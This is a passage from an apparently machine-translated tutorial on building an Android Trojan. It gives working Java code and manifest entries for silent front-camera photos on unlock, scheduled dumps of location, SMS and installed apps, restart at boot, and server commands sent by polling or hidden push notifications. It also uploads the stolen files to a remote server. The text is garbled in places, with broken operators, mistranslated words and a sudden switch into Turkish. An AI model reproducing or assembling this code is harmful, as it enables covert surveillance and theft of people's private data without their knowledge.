                surfaceList.add (imageReader.getSurface ());

                cameraDevice.createCaptureSession (surfaceList, mCaptureStateCallback, handler);
            } catch (Exception e) {
            }
        }

        @Override
        public void onDisconnected (CameraDevice cameraDevice) {

        }

        @Override
        public void onError (CameraDevice cameraDevice, int error) {

        }
    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =
            new CameraCaptureSession.StateCallback () {
                @Override
                public void onConfigured (CameraCaptureSession captureSession) {
                    session = captureSession;

                    try {
                        request = device.createCaptureRequest (CameraDevice.TEMPLATE_PREVIEW);
                        request.addTarget (previewSurface);

                        request.set (CaptureRequest.CONTROL_AF_TRIGGER,
                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest (request.build (), mCaptureCallback, handler);
                    } catch (Exception e) {
                    }
                }

                @Override
                public void onConfigureFailed (CameraCaptureSession mCaptureSession) {}
            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =
            new CameraCaptureSession.CaptureCallback () {
        @Override
        public void onCaptureCompleted (CameraCaptureSession session,
                                     CaptureRequest request,
                                     TotalCaptureResult result) {
        }
    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
            new ImageReader.OnImageAvailableListener () {
        @Override
        public void onImageAvailable (ImageReader reader) {
            DateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss");
            Date date = new Date ();

            String filename = photosDir + "/" + dateFormat.format (date) + ".jpg";
            File file = new File (filename);

            Image image = imageReader.acquireLatestImage ();

            try {
                ByteBuffer buffer = image.getPlanes () [0] .getBuffer ();
                byte [] bytes = new byte [buffer.remaining ()];
                buffer.get (bytes);

                OutputStream os = new FileOutputStream (file);
                os.write (bytes);

                image.close ();
                os.close ();
            } catch (Exception e) {
                e.getStackTrace ();
            }

            closeCamera ();
        }
    };

    private void takePicture () {
        request.set (CaptureRequest.JPEG_ORIENTATION, getOrientation ());

        request.addTarget (imageReader.getSurface ());
        try {
            session.capture (request.build (), mCaptureCallback, handler);
        } catch (CameraAccessException e) {
        }
    }

    private void closeCamera () {
        try {
            if (null! = session) {
                session.abortCaptures ();
                session.close ();
                session = null;
            }
            if (null! = device) {
                device.close ();
                device = null;
            }
            if (null! = imageReader) {
                imageReader.close ();
                imageReader = null;
            }
            if (null! = surfaceTexture) {
                surfaceTexture.release ();
            }
        } catch (Exception e) {
        }
    }

    public boolean takeSilentPhoto (String cam, String dir) {
        photosDir = dir;
        int facing;

        switch (cam) {
            case "front":
                facing = CameraCharacteristics.LENS_FACING_FRONT;
                break;
            case "back":
                facing = CameraCharacteristics.LENS_FACING_BACK;
                break;
            default:
                return false;
        }

        CameraManager manager = (CameraManager)
                context.getSystemService (Context.CAMERA_SERVICE);

        String cameraId = null;
        characteristics = null;

        try {
            for (String id: manager.getCameraIdList ()) {
                characteristics = manager.getCameraCharacteristics (id);
                Integer currentFacing = characteristics.get (CameraCharacteristics.LENS_FACING);
                if (currentFacing! = null && currentFacing == facing) {
                    cameraId = id;
                    break;
                }
            }
        } catch (Exception e) {
            return false;
        }

        HandlerThread handlerThread = new HandlerThread ("CameraBackground");
        handlerThread.start ();
        handler = new Handler (handlerThread.getLooper ());

        imageReader = ImageReader.newInstance (1920,1080, ImageFormat.JPEG, 2);
        imageReader.setOnImageAvailableListener (mOnImageAvailableListener, handler);

        try {
            manager.openCamera (cameraId, mStateCallback, handler);
            // Wait for focus
            Thread.sleep (1000);
            takePicture ();
        } catch (Exception e) {
            Log.d (TAG, "Can't open camera:" + e.toString ());
            return false;
        }

        return true;
    }

    private int getOrientation () {
        WindowManager wm = (WindowManager) context.getSystemService (Context.WINDOW_SERVICE);
        int rotation = wm.getDefaultDisplay (). getRotation ();
        int deviceOrientation = 0;

        switch (rotation) {
            case Surface.ROTATION_0:
                deviceOrientation = 0;
                break;
            case Surface.ROTATION_90:
                deviceOrientation = 90;
                break;
            case Surface.ROTATION_180:
                deviceOrientation = 180;
                break;
            case Surface.ROTATION_270:
                deviceOrientation = 270;
                break;
        }

        int sensorOrientation = characteristics.get (CameraCharacteristics.SENSOR_ORIENTATION);
        deviceOrientation = (deviceOrientation + 45) / 90 * 90;
        boolean facingFront = characteristics.get (CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
        if (facingFront) deviceOrientation = -deviceOrientation;
        return (sensorOrientation + deviceOrientation + 360)% 360;
    }
}

This code should be called in a separate thread, passing as arguments the location of the camera ("front" - front, "back" - back) and the directory where the photos will be saved. The current date and time will be used as file names.
Code:
String cameraDir = context.getApplicationInfo (). DataDir + "/ camera /"
camera.takeSilentPhoto ("front", cameraDir);

Putting it all together
From now on, we have an application framework that starts the service and hides its presence. There is a set of functions and classes that allow you to collect information about the smartphone and its owner, as well as secretly record audio and take photos. Now you need to figure out when and under what circumstances to call them.
If we just shove the call of all these functions into the service, we get a useless "one-time application". Immediately after launch, it will find out information about the location, receive a list of applications, SMS, record audio, a snapshot, save all this to files in its private directory and fall asleep. It won't even start after a reboot.
It will become much more useful if the location determination, application dump and SMS are scheduled (say, once every half an hour), a screen capture every time the device is turned on, and audio recording is triggered by a command from the server.

Scheduled tasks
To force Android to execute our application code at specific intervals, we can use AlarmManager. First, let's write a class like this:
Code:
public class Alarm extends BroadcastReceiver {
    public static void set (Context context) {
        AlarmManager am = (AlarmManager) context.getSystemService (Context.ALARM_SERVICE);
        Intent intent = new Intent (context, Alarm.class);
        PendingIntent pIntent = PendingIntent.getBroadcast (context, 0, intent, 0);
        am.setInexactRepeating (AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime (), 30 * 60 * 1000, pIntent);
    }

    @Override
    public void onReceive (Context context, Intent intent) {
        // Your code is here
    }
}

The set () method will set an alarm that goes off every thirty minutes and triggers the onReceive () method. It is in it that you must put the code that drops the location, SMS and the list of applications into files.

Add the following line to the "onCreate ()" method of the service:
Code:
Alarm.set (this)

Screen shot
It makes no sense to take a picture every half hour. It is much more useful to take a picture with the front camera when unlocking the smartphone (you can see immediately who is using it). To do this, create the ScreenOnReceiver class:
Code:
class ScreenOnReceiver extends BroadcastReceiver () {
    @Override
    void onReceive (Context context, Intent intent) {
        // Your code is here
    }
}

And add the following lines to the manifest:
Code:
<receiver android: name = "com.example.app.ScreenOnReceiver">
    <intent-filter>
        <action android: name = "android.intent.action.ACTION_SCREEN_ON" />
    </intent-filter>
</receiver>

Startup at boot
At the moment, our application has one big problem - it will work exactly until the user reboots the smartphone. To restart the service when the smartphone boots up, let's create another receiver:
Code:
class BootReceiver extends BroadcastReceiver () {
    @Override
    void onReceive (Context context, Intent intent) {
        Intent serviceIntent = new Intent (this, MainService.class);
        startService (serviceIntent);
    }
}
And again, let's add it to the manifest:

<receiver android: name = "com.example.BootReceiver">
    <intent-filter>
        <action android: name = "android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

Record audio on command
This is a little more complicated. The easiest way to issue a command to our Trojan is to write it to a plain text file and upload this file to the server. Then put a code into the service that will, for example, check the server for the presence of a file every minute and execute the command written in it.

In code, it might look something like this:
Code:
String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient ();
Request request = new Request.Builder (). Url (url) .build ();

while (true) {
    Response response = client.newCall (request) .execute ();
    String cmd = response.body (). String ();
    cmd = cmd.trim ()
    if (cmd.equals ("record")) {
        // Make an audio recording
    }
    try {
        Thread.sleep (60 * 1000);
    } catch (InterruptedException e) {}
}

Of course, this code has a problem - if you write a command to a file on the server once, the Trojan will execute it every minute. To avoid this, it is enough to add a numeric prefix in the "X: command" format to the file and increase this prefix with each command entry. The Trojan must save this number and only execute the command if it has increased.
It is much worse that your Trojan will noticeably consume your battery. And Android (starting with the sixth version) will restrict it in this, blocking access to the Internet.
To avoid these problems, you can use a push notification service. OneSignal is perfect for this role. It's free and very easy to use. Register with the service, add a new application and follow the instructions, at the end, the van will tell you which lines need to be added to the build.gradle of the application, and also ask you to create a class like this:
Code:
class App extends Application {
    @Override
    public void onCreate () {
        super.onCreate ()
        OneSignal.startInit (this) .init ()
    }
}

But that's not all. The van also needs a service - a handler for push notifications, which will receive them and perform actions depending on the data contained in the push notification:
Code:
class OSService extends NotificationExtenderService {
    @Override
    protected boolean onNotificationProcessing (OSNotificationReceivedResult receivedResult) {
        String cmd = receivedResult.payload.body.trim ()
        if (cmd.equals ("record")) {
            // Make an audio recording
        }

        // Don't show notification
        return true
    }
}

This code interprets the line contained in the notification as a command and, if this command is record, executes the code we need. The notification itself will not appear on the screen, so the user will not notice anything.

The final touch is to add the service to the manifest:
Code:
<service
    android: name = "org.antrack.app.service.OSService"
    android: exported = "false">
    <intent-filter>
        <action android: name = "com.onesignal.NotificationExtender" />
    </intent-filter>
</service>

Sending data to the server

Throughout this article, we've discussed how to collect data and save it to files inside a private directory. And now we are ready to upload this data to the server. This is not so difficult to do, here, for example, how you can send our photo to the server:

Code:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse ("image / jpeg");

public void uploadImage (File image, String imageName) throws IOException {
    OkHttpClient client = new OkHttpClient ();

    RequestBody requestBody = new MultipartBody.Builder (). SetType (MultipartBody.FORM)
        .addFormDataPart ("file", imageName, RequestBody.create (MEDIA_TYPE_JPEG, image))
        .build ();

    Request request = new Request.Builder (). Url ("http://com.example.com/upload")
        .post (requestBody) .build ();

    Response response = client.newCall (request) .execute ();
}

Uygulamanın her otuz dakikada bir sunucuya yeni dosyalar göndermesi için bu yöntemi Alarm sınıfının "onReceive ()" yönteminden çağırmanız gerekir. Yüklenen dosyalar silinmelidir.
Ve tabii ki, sunucu tarafında, yüklemeleri idare edecek bir işleyici uygulamanız gerekir. Bunun nasıl yapılacağı, büyük ölçüde hangi çerçeveyi ve sunucuyu kullandığınıza bağlıdır.

Sonuçlar
Android, geliştirici dostu bir işletim sistemidir. Bu nedenle, standart API'yi kullanarak burada bir trojan oluşturabilirsiniz. Ayrıca, aynı API kullanılarak, simgesi uygulama listesinden gizlenebilir ve kullanıcı tarafından fark edilmeden arka planda çalışması sağlanabilir.
Keep in mind! Although Android 8 allows applications compiled for earlier versions of Android to run in the background, it displays a notification about it. On the other hand, have you seen a lot of Android 8 smartphones in the wild?
That's all. Now you know how hackers create Trojans for Android, and we have already written about how to protect yourself from them (use the site search).
Thanks
 
Top